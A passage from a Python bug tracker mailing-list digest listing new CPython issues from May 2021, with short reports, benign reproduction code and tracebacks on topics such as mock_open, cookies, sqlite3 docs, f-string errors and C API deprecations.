        f.seek(0)
        print(f.read(1))

if __name__ == "__main__":
    main()

Output will be:
#
1

While the expected output is:
#
#

----------
messages: 393378
nosy: nikle
priority: normal
severity: normal
status: open
title: mock_open does not support the use of 'seek()'
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44102>
_______________________________________

From report at bugs.python.org  Mon May 10 12:13:42 2021
From: report at bugs.python.org (Jelle Zijlstra)
Date: Mon, 10 May 2021 16:13:42 +0000
Subject: [New-bugs-announce] [issue44103] Python 3.10 docs are visually
 broken
Message-ID: <1620663222.03.0.0403361280148.issue44103@roundup.psfhosted.org>


New submission from Jelle Zijlstra <jelle.zijlstra at gmail.com>:

In the 3.10 docs (but not 3.11 or 3.9) I see an extra copy of the table of contents at the top of the page. Attached a screenshot.

----------
assignee: docs at python
components: Documentation
files: Screen Shot 2021-05-10 at 9.11.51 AM.png
messages: 393416
nosy: Jelle Zijlstra, docs at python, mdk
priority: normal
severity: normal
status: open
title: Python 3.10 docs are visually broken
Added file: https://bugs.python.org/file50034/Screen Shot 2021-05-10 at 9.11.51 AM.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44103>
_______________________________________

From report at bugs.python.org  Mon May 10 14:31:00 2021
From: report at bugs.python.org (ra1nb0w)
Date: Mon, 10 May 2021 18:31:00 +0000
Subject: [New-bugs-announce] [issue44104] http.cookies.CookieError: Illegal
 key
Message-ID: <1620671460.12.0.286608999298.issue44104@roundup.psfhosted.org>


New submission from ra1nb0w <rainbow at irh.it>:

The issue arises when there are multiple web applications using the same hostname and a "bad" cookie is stored; the first one (ex. tvheadend) sets a cookie like 'ys-api/mpegts/service=blabla' and the second is a python one that crash with the following:

May 10 18:56:37 hos openwebrx[4575]: Exception happened during processing of request from ('192.168.178.203', 56994)
May 10 18:56:37 hos openwebrx[4575]: Traceback (most recent call last):
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3.7/socketserver.py", line 650, in process_request_thread
May 10 18:56:37 hos openwebrx[4575]:     self.finish_request(request, client_address)
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3.7/socketserver.py", line 360, in finish_request
May 10 18:56:37 hos openwebrx[4575]:     self.RequestHandlerClass(request, client_address, self)
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3/dist-packages/owrx/http.py", line 40, in __init__
May 10 18:56:37 hos openwebrx[4575]:     super().__init__(request, client_address, server)
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3.7/socketserver.py", line 720, in __init__
May 10 18:56:37 hos openwebrx[4575]:     self.handle()
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3.7/http/server.py", line 426, in handle
May 10 18:56:37 hos openwebrx[4575]:     self.handle_one_request()
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3.7/http/server.py", line 414, in handle_one_request
May 10 18:56:37 hos openwebrx[4575]:     method()
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3/dist-packages/owrx/http.py", line 46, in do_GET
May 10 18:56:37 hos openwebrx[4575]:     self.router.route(self, self._build_request("GET"))
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3/dist-packages/owrx/http.py", line 55, in _build_request
May 10 18:56:37 hos openwebrx[4575]:     return Request(self.path, method, self.headers)
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3/dist-packages/owrx/http.py", line 68, in __init__
May 10 18:56:37 hos openwebrx[4575]:     self.cookies.load(headers["Cookie"])
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3.7/http/cookies.py", line 529, in load
May 10 18:56:37 hos openwebrx[4575]:     self.__parse_string(rawdata)
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3.7/http/cookies.py", line 593, in __parse_string
May 10 18:56:37 hos openwebrx[4575]:     self.__set(key, rval, cval)
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3.7/http/cookies.py", line 485, in __set
May 10 18:56:37 hos openwebrx[4575]:     M.set(key, real_value, coded_value)
May 10 18:56:37 hos openwebrx[4575]:   File "/usr/lib/python3.7/http/cookies.py", line 352, in set
May 10 18:56:37 hos openwebrx[4575]:     raise CookieError('Illegal key %r' % (key,))
May 10 18:56:37 hos openwebrx[4575]: http.cookies.CookieError: Illegal key 'ys-api/mpegts/service'

Is there a way to avoid this (just a warning) or the only solution is to filter the load(headers["Cookie"]) input?

thank you

----------
messages: 393426
nosy: ra1nb0w
priority: normal
severity: normal
status: open
title: http.cookies.CookieError: Illegal key
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44104>
_______________________________________

From report at bugs.python.org  Mon May 10 17:39:01 2021
From: report at bugs.python.org (Colas Le Guernic)
Date: Mon, 10 May 2021 21:39:01 +0000
Subject: [New-bugs-announce] [issue44105] tempfile.TemporaryDirectory
 deleted after call to subprocess.run in threads
Message-ID: <1620682741.29.0.136385435366.issue44105@roundup.psfhosted.org>


New submission from Colas Le Guernic <colas.le.guernic at gmail.com>:

Yet another weird bug when one creates sub-processes from threads.
I found several issues mentioning ThreadPoolExecutor and subprocess.run but I believe this one is different.

When creating a temporary directory with tempfile.TemporaryDirectory (with or without context manager) it is sometimes deleted by a call to subprocess.run when both occurs inside a task sent to a ThreadPoolExecutor created without a context manager (that last part is very odd).

Running the attached file on python 3.8.5 or 3.8.10 shows the issue only occurs if the executor is not created through a context manager.

The bug does not seem to occur on python 3.9.5 or 3.10.0b1.

Using a ProcessPoolExecutor seems to fix the issue too.

----------
files: test_tmpdir.py
messages: 393436
nosy: colas.le.guernic
priority: normal
severity: normal
status: open
title: tempfile.TemporaryDirectory deleted after call to subprocess.run in threads
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file50035/test_tmpdir.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44105>
_______________________________________

From report at bugs.python.org  Mon May 10 18:49:10 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Mon, 10 May 2021 22:49:10 +0000
Subject: [New-bugs-announce] [issue44106] [sqlite3] don't use politicians in
 examples/docs
Message-ID: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org>


New submission from Erlend E. Aasland <erlend.aasland at innova.no>:

In GH-25003, we rewrote one of the database examples to use programming languages iso. political persons. However, there are still some politicians lurking in the sqlite3 docs. Suggesting to get rid of those as well.

See also Berker's comment:
https://github.com/python/cpython/pull/25003#discussion_r613135200

----------
assignee: docs at python
components: Documentation
messages: 393439
nosy: berker.peksag, docs at python, erlendaasland, kj
priority: normal
severity: normal
status: open
title: [sqlite3] don't use politicians in examples/docs
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44106>
_______________________________________

From report at bugs.python.org  Tue May 11 06:07:39 2021
From: report at bugs.python.org (ueJone)
Date: Tue, 11 May 2021 10:07:39 +0000
Subject: [New-bugs-announce] [issue44107] HTTPServer can't close http client
 completely
Message-ID: <1620727659.65.0.182288383134.issue44107@roundup.psfhosted.org>


New submission from ueJone <775844993 at qq.com>:

# HTTP Server
from http.server import HTTPServer, SimpleHTTPRequestHandler  
 
port = 80  

httpd = HTTPServer(('', port), SimpleHTTPRequestHandler)
print("Starting simple_httpd on port: " + str(httpd.server_port))  
httpd.serve_forever()

#########################################
HTTP client(192.168.1.8) close the socket when http request is done.But the http server(192.168.1.168) does't send 'TCP_FIN' message.

----------
files: Dingtalk_20210511174335.jpg
messages: 393451
nosy: ueJone
priority: normal
severity: normal
status: open
title: HTTPServer can't close http client completely
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file50037/Dingtalk_20210511174335.jpg

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44107>
_______________________________________

From report at bugs.python.org  Tue May 11 06:16:38 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Tue, 11 May 2021 10:16:38 +0000
Subject: [New-bugs-announce] [issue44108] [sqlite3] normalise SQL quoted
 literals in sqlite3 test suite
Message-ID: <1620728198.03.0.232400651845.issue44108@roundup.psfhosted.org>


New submission from Erlend E. Aasland <erlend.aasland at innova.no>:

Most of the SQL statements in the sqlite3 test suite correctly uses single quote literals, except test_unicode_content in Lib/sqlite3/test/hooks.py, which uses double quote literals (not ANSI SQL compatible, IIRC). Adapting this test to also use single quote literals makes the sqlite3 test suite compatible with SQLite libraries compiled with SQLITE_DQS=0.


See also:
- https://sqlite.org/compile.html
- https://sqlite.org/quirks.html#dblquote

----------
components: Tests
keywords: easy
messages: 393452
nosy: berker.peksag, erlendaasland
priority: low
severity: normal
status: open
title: [sqlite3] normalise SQL quoted literals in sqlite3 test suite
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44108>
_______________________________________

From report at bugs.python.org  Tue May 11 08:36:09 2021
From: report at bugs.python.org (Ahmet Burak)
Date: Tue, 11 May 2021 12:36:09 +0000
Subject: [New-bugs-announce] [issue44109] missing dataclass decorator in
 match-statement example
Message-ID: <1620736569.02.0.465666569793.issue44109@roundup.psfhosted.org>


New submission from Ahmet Burak <ahmetbozyurtt at gmail.com>:

Using Point class as in the documentation example, raises TypeError: Point() takes no arguments
https://docs.python.org/3.10/whatsnew/3.10.html#patterns-and-classes

Also there is same example in the PEP 636's latests parts, Point class used with dataclass decorator and works perfectly.
https://www.python.org/dev/peps/pep-0636/

----------
assignee: docs at python
components: Documentation
messages: 393454
nosy: ahmetveburak, docs at python
priority: normal
severity: normal
status: open
title: missing dataclass decorator in match-statement example
type: behavior
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44109>
_______________________________________

From report at bugs.python.org  Tue May 11 16:50:25 2021
From: report at bugs.python.org (Miguel Brito)
Date: Tue, 11 May 2021 20:50:25 +0000
Subject: [New-bugs-announce] [issue44110] Improve string's __getitem__ error
 message
Message-ID: <1620766225.38.0.0603325093774.issue44110@roundup.psfhosted.org>


New submission from Miguel Brito <miguel.mdebrito at gmail.com>:

I noticed that __getitem__ message, although helpful, could be improved a bit further. This will also make it consistent with other error messages such as the ones raised by `str.count`, `str.split`, `str.endswith` and so many others.

Currently, the error message goes like this: "TypeError: string indices must be integers" but we could specify the type of the object passed as argument to __getitem__. So, for example:

```
>>> idx = '1'
>>> s = 'abcde'
>>> s[idx]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: string indices must be integers, not 'str'
```

This makes easier to debug and it is also consistent with other methods:

>>> "alala".count(8)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: must be str, not int

>>> "lala|helo".split(1)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: must be str or None, not int

>>> 1 in "lala"
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'in <string>' requires string as left operand, not int

>>> "lala|helo".split(object())
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: must be str or None, not object

----------
components: Interpreter Core
messages: 393473
nosy: miguendes
priority: normal
severity: normal
status: open
title: Improve string's __getitem__ error message
type: enhancement
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44110>
_______________________________________

From report at bugs.python.org  Tue May 11 23:14:09 2021
From: report at bugs.python.org (Unknown Simonsen)
Date: Wed, 12 May 2021 03:14:09 +0000
Subject: [New-bugs-announce] [issue44111] 404 link on python webpage
Message-ID: <1620789249.22.0.707817770265.issue44111@roundup.psfhosted.org>


New submission from Unknown Simonsen <0lsimonsen at tawacollege.school.nz>:

https://www.python.org/community-landing/diversity shows 404 
The page is shown when going python.org > Community > Diversity Statement

----------
assignee: docs at python
components: Documentation
messages: 393483
nosy: 0lsimonsen, docs at python
priority: normal
severity: normal
status: open
title: 404 link on python webpage

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44111>
_______________________________________

From report at bugs.python.org  Wed May 12 05:40:34 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 12 May 2021 09:40:34 +0000
Subject: [New-bugs-announce] [issue44112] [buildbot] test_asyncio hangs
 after 3 hours on Refleak buildbots
Message-ID: <1620812434.16.0.332094043399.issue44112@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

Buildbot kills the "test" step because it takes longer than 3 hours, whereas Python regrtest gets a timeout of 3 hour 15 min.

Refleak buildbots should get a longer timeout for the "test" step.

PPC64LE Fedora Rawhide Refleaks 3.10:
https://buildbot.python.org/all/#/builders/603/builds/7

./python  ./Tools/scripts/run_tests.py -j 1 -u all -W --slowest --fail-env-changed --timeout=11700 -R 3:3 -u-cpu -j10 
WARNING: Disable --verbose3 because it's incompatible with --huntrleaks: see http://bugs.python.org/issue27103
== CPython 3.10.0b1+ (heads/3.10:9a0e65c8e0, May 10 2021, 00:01:01) [GCC 11.1.1 20210428 (Red Hat 11.1.1-1)]
== Linux-5.7.0-0.rc0.git2.1.fc33.ppc64le-ppc64le-with-glibc2.33.9000 little-endian
== cwd: /home/buildbot/buildarea/3.10.cstratak-fedora-rawhide-ppc64le.refleak/build/build/test_python_1529753?
== CPU count: 8
== encodings: locale=UTF-8, FS=utf-8
Using random seed 1661030
0:00:00 load avg: 3.25 Run tests in parallel using 10 child processes (timeout: 3 hour 15 min, worker timeout: 3 hour 20 min)
0:00:00 load avg: 3.25 [  1/427] test_tix skipped (resource denied)
(...)
2:58:49 load avg: 0.00 running: test_asyncio (2 hour 58 min)
2:59:19 load avg: 0.00 running: test_asyncio (2 hour 58 min)
2:59:49 load avg: 0.00 running: test_asyncio (2 hour 59 min)

command timed out: 10800 seconds elapsed running [b'make', b'buildbottest', b'TESTOPTS=-R 3:3 -u-cpu -j10 ${BUILDBOT_TESTOPTS}', b'TESTPYTHONOPTS=', b'TESTTIMEOUT=11700'], attempting to kill

----------
components: Tests, asyncio
messages: 393491
nosy: asvetlov, pablogsal, vstinner, yselivanov
priority: normal
severity: normal
status: open
title: [buildbot] test_asyncio hangs after 3 hours on Refleak buildbots
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44112>
_______________________________________

From report at bugs.python.org  Wed May 12 06:20:54 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 12 May 2021 10:20:54 +0000
Subject: [New-bugs-announce] [issue44113] [C API] Deprecate legacy API for
 configure Python initialization
Message-ID: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

The https://docs.python.org/dev/c-api/init.html documentation lists many functions which is the legacy way to configure the Python initialization. These functions are kept for backward compatibility but have flaws and are less reliable than the new PyConfig API (PEP 587) documented at https://docs.python.org/dev/c-api/init_config.html

I propose to deprecate the legacy functions to configure the Python initialization. Examples:

* Py_SetPath()
* Py_SetProgramName()
* Py_SetPythonHome()
* Py_SetStandardStreamEncoding()
* PySys_AddWarnOption()
* PySys_AddWarnOptionUnicode()
* PySys_AddXOption()

I don't propose to schedule the removal of these functions, only mark them as deprecated in the *documentation*.

Related issue: bpo-43956 "C-API: Incorrect default value for Py_SetProgramName" and PR 24876.

----------
assignee: docs at python
components: C API, Documentation
messages: 393499
nosy: docs at python, vstinner
priority: normal
severity: normal
status: open
title: [C API] Deprecate legacy API for configure Python initialization
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44113>
_______________________________________

From report at bugs.python.org  Wed May 12 08:46:01 2021
From: report at bugs.python.org (Joe Marshall)
Date: Wed, 12 May 2021 12:46:01 +0000
Subject: [New-bugs-announce] [issue44114] Incorrect function signatures in
 dictobject.c
Message-ID: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org>


New submission from Joe Marshall <joe.marshall at nottingham.ac.uk>:

There's a couple of wrong function signatures in dictobject.c,

dictkeys_reversed and dictitems_reversed are defined as single arg functions like so: PyObject *(PyObject *), and are then passed around and called as PyCFunctions, which should be PyObject *(PyObject *self,PyObject *args). dictvalues_reversed is correct.

This works fine on most C compilers as the extra arg is just ignored, but on things that use strict function pointer type checking (e.g. webassembly), it crashes (and hence any of the tests that happen to use these functions fails, which is a surprising number)

I've got a fix in my pyodide repo, which I'll chuck in as a pull request on github.

----------
components: Interpreter Core
messages: 393506
nosy: joemarshall
priority: normal
severity: normal
status: open
title: Incorrect function signatures in dictobject.c
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44114>
_______________________________________

From report at bugs.python.org  Wed May 12 09:09:37 2021
From: report at bugs.python.org (Martin Teichmann)
Date: Wed, 12 May 2021 13:09:37 +0000
Subject: [New-bugs-announce] [issue44115] Improve conversions for fractions
Message-ID: <1620824977.65.0.255343602515.issue44115@roundup.psfhosted.org>


New submission from Martin Teichmann <martin.teichmann at gmail.com>:

Currently, fraction.Fractions can be generated from floats via their as_integer_ratio method. This had been extended to also work with the Decimals class. It would be more generic - and IMHO more Pythonic - to just allow any data type, as long as it has an as_integer_ratio method.

As an example, this allows numpy floats to be converted into fractions.

----------
components: Library (Lib)
messages: 393507
nosy: Martin.Teichmann
priority: normal
severity: normal
status: open
title: Improve conversions for fractions
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44115>
_______________________________________

From report at bugs.python.org  Wed May 12 09:34:11 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 12 May 2021 13:34:11 +0000
Subject: [New-bugs-announce] [issue44116] The _csv module can't be
 garbage-collected after _csv.register_dialect is called
Message-ID: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org>


New submission from Petr Viktorin <encukou at gmail.com>:

After `_csv.register_dialect` is called, the csv module is alive even after it's removed from sys.modules. It should be garbage-collected.
(It's not that big a deal: unloading _csv isn't something users should do. But it might be hiding a deeper issue.)

The following reproducer (for a debug build of Python) shows an increasing number of refcounts. (Importing `csv` is the easiest way to call _csv._register_dialect with a proper argument):


import sys
import gc

for i in range(10):
    import csv
    del sys.modules['_csv']
    del sys.modules['csv']
    del csv
    gc.collect()

    print(sys.gettotalrefcount())

----------
components: Extension Modules
messages: 393508
nosy: petr.viktorin
priority: normal
severity: normal
status: open
title: The _csv module can't be garbage-collected after _csv.register_dialect is called
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44116>
_______________________________________

From report at bugs.python.org  Wed May 12 11:23:48 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 12 May 2021 15:23:48 +0000
Subject: [New-bugs-announce] [issue44117] [C API] Remove deprecated
 PyEval_InitThreads()
Message-ID: <1620833028.19.0.0980043255571.issue44117@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

Remove PyEval_InitThreads() and PyEval_ThreadsInitialized() functions. The GIL is created by Py_Initialize() since Python 3.7, and so calling PyEval_InitThreads() explicitly was useless since Python 3.7. Deprecated in 3.9, PyEval_InitThreads() did nothing and PyEval_ThreadsInitialized() already returned true.

----------
components: C API
messages: 393524
nosy: vstinner
priority: normal
severity: normal
status: open
title: [C API] Remove deprecated PyEval_InitThreads()
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44117>
_______________________________________

From report at bugs.python.org  Wed May 12 17:31:16 2021
From: report at bugs.python.org (Marc Udoff)
Date: Wed, 12 May 2021 21:31:16 +0000
Subject: [New-bugs-announce] [issue44118] cython compiler error
Message-ID: <1620855076.33.0.624506762469.issue44118@roundup.psfhosted.org>


New submission from Marc Udoff <mlucool at gmail.com>:

Hi,

The follow gives an unexpected error during compilation:

In [1]: %%cython  
   ...: #cython: infer_types=True 
   ...: class A: 
   ...:     def f(self): 
   ...:         x = max(self.a, self.a)


Removing max, or setting infer_types=False, or setting x = None first all make it compile.

----------
components: C API
files: cpython_error.txt
messages: 393548
nosy: mlucool
priority: normal
severity: normal
status: open
title: cython compiler error
type: compile error
versions: Python 3.7
Added file: https://bugs.python.org/file50039/cpython_error.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44118>
_______________________________________

From report at bugs.python.org  Thu May 13 01:35:12 2021
From: report at bugs.python.org (Barney Gale)
Date: Thu, 13 May 2021 05:35:12 +0000
Subject: [New-bugs-announce] [issue44119] Use glob.glob() to implement
 pathlib.Path.glob()
Message-ID: <1620884112.13.0.758997041417.issue44119@roundup.psfhosted.org>


New submission from Barney Gale <barney.gale at gmail.com>:

I have a scratchy patch that replaces pathlib's globbing implementation with glob.glob(), which gained a `root_dir` argument in bpo-38144

Encouraging timings:

$ ./python -m timeit -s "from pathlib import Path; p = Path()" -- "list(p.glob('**/*'))"
Unpatched: 43.2 msec per loop
Patched:   4.37 msec per loop

$ ./python -m timeit -s "from pathlib import Path; p = Path('/usr/')" -- "list(p.glob('lib*/**/*'))"
Unpatched: 248 msec per loop
Patched:   56.8 msec per loop

$ ./python -m timeit -s "from pathlib import Path; p = Path('/usr/')" -- "list(p.glob('lib*/**/'))"
Unpatched: 78.3 msec per loop
Patched:   2.23 msec per loop

Patch to follow.

----------
components: Library (Lib)
messages: 393556
nosy: barneygale
priority: normal
severity: normal
status: open
title: Use glob.glob() to implement pathlib.Path.glob()
type: performance
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44119>
_______________________________________

From report at bugs.python.org  Thu May 13 02:00:02 2021
From: report at bugs.python.org (Hiroaki Mizuguchi)
Date: Thu, 13 May 2021 06:00:02 +0000
Subject: [New-bugs-announce] [issue44120]
 logging.config.fileConfig/dictConfig can not import class
Message-ID: <1620885602.73.0.397107954312.issue44120@roundup.psfhosted.org>


New submission from Hiroaki Mizuguchi <hiroaki-m at iij.ad.jp>:

This bug is loading bar.logging.FooBarFormatter is occur "ModuleNotFoundError: No module named 'bar.logging.FooBarFormatter'; 'bar.logging' is not a package" when bar module has 'import logging' directive.

logging.config._resolve and logging.config.BaseConfiguration.resolve has the bug.

See also my testcase repository: https://github.com/akihiro/python-logging-config-testcase

----------
components: Library (Lib)
messages: 393557
nosy: akihiro
priority: normal
severity: normal
status: open
title: logging.config.fileConfig/dictConfig can not import class
type: crash
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44120>
_______________________________________

From report at bugs.python.org  Thu May 13 04:31:27 2021
From: report at bugs.python.org (Mahmoud Harmouch)
Date: Thu, 13 May 2021 08:31:27 +0000
Subject: [New-bugs-announce] [issue44121] Missing implementation for
 formatHeader and formatFooter methods of the BufferingFormatter class in
 the logging module.
Message-ID: <1620894687.71.0.747868468698.issue44121@roundup.psfhosted.org>


New submission from Mahmoud Harmouch <mahmoudddharmouchhh at gmail.com>:

While I was browsing in the source code of the logging package, I've encountered missing implementations for formatHeader and formatFooter methods of the BufferingFormatter class(in __init__ file). Therefore, I'm going to implement them and push these changes in a pull request.

----------
components: Library (Lib)
messages: 393565
nosy: Harmouch101
priority: normal
severity: normal
status: open
title: Missing implementation for formatHeader and formatFooter methods of the BufferingFormatter class in the logging module.
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44121>
_______________________________________

From report at bugs.python.org  Thu May 13 06:00:26 2021
From: report at bugs.python.org (Ohad Shemesh)
Date: Thu, 13 May 2021 10:00:26 +0000
Subject: [New-bugs-announce] [issue44122] let linter allow defining
 attribute outside __init__ if called in __init__
Message-ID: <1620900026.84.0.58923352351.issue44122@roundup.psfhosted.org>


New submission from Ohad Shemesh <ohadsunny at gmail.com>:

A have a simple scenario in which I have a class with some initialized attribute that I want to be able to reset again. 
In order to avoid code duplication I'd to to something like this - 

class A:
    def __init__(self):
        self.reset()

    def reset(self):
        self.ls: List[datetime] = []

However this behavior makes the linter (in my case in pycharm) say "instance attribute defined outside __init__".
I think it'd be for the better if the linter allows this kind of definition if the function (i.e reset) is called in __init__.

----------
components: Parser
messages: 393568
nosy: lys.nikolaou, ohadsunny, pablogsal
priority: normal
severity: normal
status: open
title: let linter allow defining attribute outside __init__ if called in __init__
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44122>
_______________________________________

From report at bugs.python.org  Thu May 13 09:17:06 2021
From: report at bugs.python.org (Tal Einat)
Date: Thu, 13 May 2021 13:17:06 +0000
Subject: [New-bugs-announce] [issue44123] make function parameter sentinel
 value true singletons
Message-ID: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org>


New submission from Tal Einat <taleinat+python at gmail.com>:

I recently noticed that some functions use sentinel values to differentiate between not having been passed any value vs. None. One example of this is traceback.print_exception(), hence I'm adding Irit to the nosy list.

However, using e.g. `sentinel = object()` or a single instance of a dedicated class/type can break when combined with pickling (see examples below).

Since these sentinel are usually compared using the `is` operator, having more than a single instance will break things, sometimes in very confusing ways.

I suggest ensuring that a single instance is always used, probably by using a class with a __new__() method making sure to always return a single instance.


>>> sentinel = object()
>>> sentinel2 = pickle.loads(pickle.dumps(sentinel))
>>> sentinel is sentinel2
False
>>> sentinel
<object object at 0x7fd00a986560>
>>> sentinel2
<object object at 0x7fd00a986500>


>>> class A:
...     pass
...     
>>> a = A()
>>> a2 = pickle.loads(pickle.dumps(a))
>>> a is a2
False
>>> a
<__main__.A object at 0x7fd00a9972f0>
>>> a2
<__main__.A object at 0x7fd009599450>

----------
components: Library (Lib)
messages: 393580
nosy: iritkatriel, taleinat
priority: normal
severity: normal
status: open
title: make function parameter sentinel value true singletons
type: behavior
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44123>
_______________________________________

From report at bugs.python.org  Thu May 13 11:39:39 2021
From: report at bugs.python.org (Angus L'Herrou)
Date: Thu, 13 May 2021 15:39:39 +0000
Subject: [New-bugs-announce] [issue44124] Unhelpful SyntaxError message with
 mis-ordering of f-string specifiers
Message-ID: <1620920379.64.0.222926941671.issue44124@roundup.psfhosted.org>


New submission from Angus L'Herrou <piraka at brandeis.edu>:

The f-string grammar clearly specifies the correct order of f-string =, !, and : specifiers:

replacement_field ::=  "{" f_expression ["="] ["!" conversion] [":" format_spec] "}"

However, when these components are used in the wrong order, the error messages, while understandable if you know the grammar, are not exactly helpful for users of all knowledge levels.


>>> foo = 12.345
>>> f'{foo=:.2f}'  # correct ordering of = and :
'foo=12.35'
>>> f'{foo:.2f=}'  # incorrect ordering of : and =
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: Invalid format specifier
>>> f'{foo=!r}'    # correct ordering of = and !
'foo=12.345'
>>> f'{foo!r=}'    # incorrect ordering of ! and =
  File "<stdin>", line 1
SyntaxError: f-string: expecting '}'
>>> bar = 'abcd'
>>> f'{bar!r:.2s}' # correct ordering of ! and :
"'a"
>>> f'{bar:.2s!r}' # incorrect ordering of : and !
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: Invalid format specifier


It would be more helpful to have more descriptive error messages specifying the correct order of these features. f-string format specifiers, especially ! and =, are in my experience fairly poorly known features, and more descriptive feedback when they are used incorrectly would avoid discouraging users from using them at all upon encountering a cryptic error. 

Since __format__ can have an arbitrary implementation for different data types, and therefore there might be some user-defined class that accepts :.2f!r as a valid format specifier, the ValueErrors here might have to stay, but at least the SyntaxError from f'{foo!r=}' could be clearer.

----------
components: Parser
messages: 393587
nosy: angus-lherrou, lys.nikolaou, pablogsal
priority: normal
severity: normal
status: open
title: Unhelpful SyntaxError message with mis-ordering of f-string specifiers
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44124>
_______________________________________

From report at bugs.python.org  Thu May 13 13:21:56 2021
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 13 May 2021 17:21:56 +0000
Subject: [New-bugs-announce] [issue44125] "make patchcheck" fails
Message-ID: <1620926516.59.0.875459758344.issue44125@roundup.psfhosted.org>


New submission from Antoine Pitrou <pitrou at free.fr>:

./python ./Tools/scripts/patchcheck.py
Getting base branch for PR ... Traceback (most recent call last):
  File "/home/antoine/cpython/default/./Tools/scripts/patchcheck.py", line 307, in <module>
    main()
  File "/home/antoine/cpython/default/./Tools/scripts/patchcheck.py", line 267, in main
    base_branch = get_base_branch()
  File "/home/antoine/cpython/default/./Tools/scripts/patchcheck.py", line 35, in call_fxn
    result = fxn(*args, **kwargs)
  File "/home/antoine/cpython/default/./Tools/scripts/patchcheck.py", line 111, in get_base_branch
    return upstream_remote + "/" + base_branch
TypeError: can only concatenate str (not "NoneType") to str
make: *** [Makefile:2006 : patchcheck] Erreur 1

----------
assignee: pitrou
components: Demos and Tools
messages: 393591
nosy: pitrou
priority: normal
severity: normal
stage: needs patch
status: open
title: "make patchcheck" fails
type: behavior
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44125>
_______________________________________

From report at bugs.python.org  Thu May 13 14:15:40 2021
From: report at bugs.python.org (Jeff Moguillansky)
Date: Thu, 13 May 2021 18:15:40 +0000
Subject: [New-bugs-announce] [issue44126] Cross Compile Cython Modules
Message-ID: <1620929740.81.0.435591662331.issue44126@roundup.psfhosted.org>


New submission from Jeff Moguillansky <jmoguill2 at gmail.com>:

Hi,
I was able to cross-compile Python 3.9.4 for Android.
How do I cross-compile cython modules?
I found one tool online: https://pypi.org/project/crossenv/
but it doesn't seem to be compatible with android clang?
Does cython support cross-compiling modules?

----------
components: Cross-Build
messages: 393599
nosy: Alex.Willmer, jmoguill2
priority: normal
severity: normal
status: open
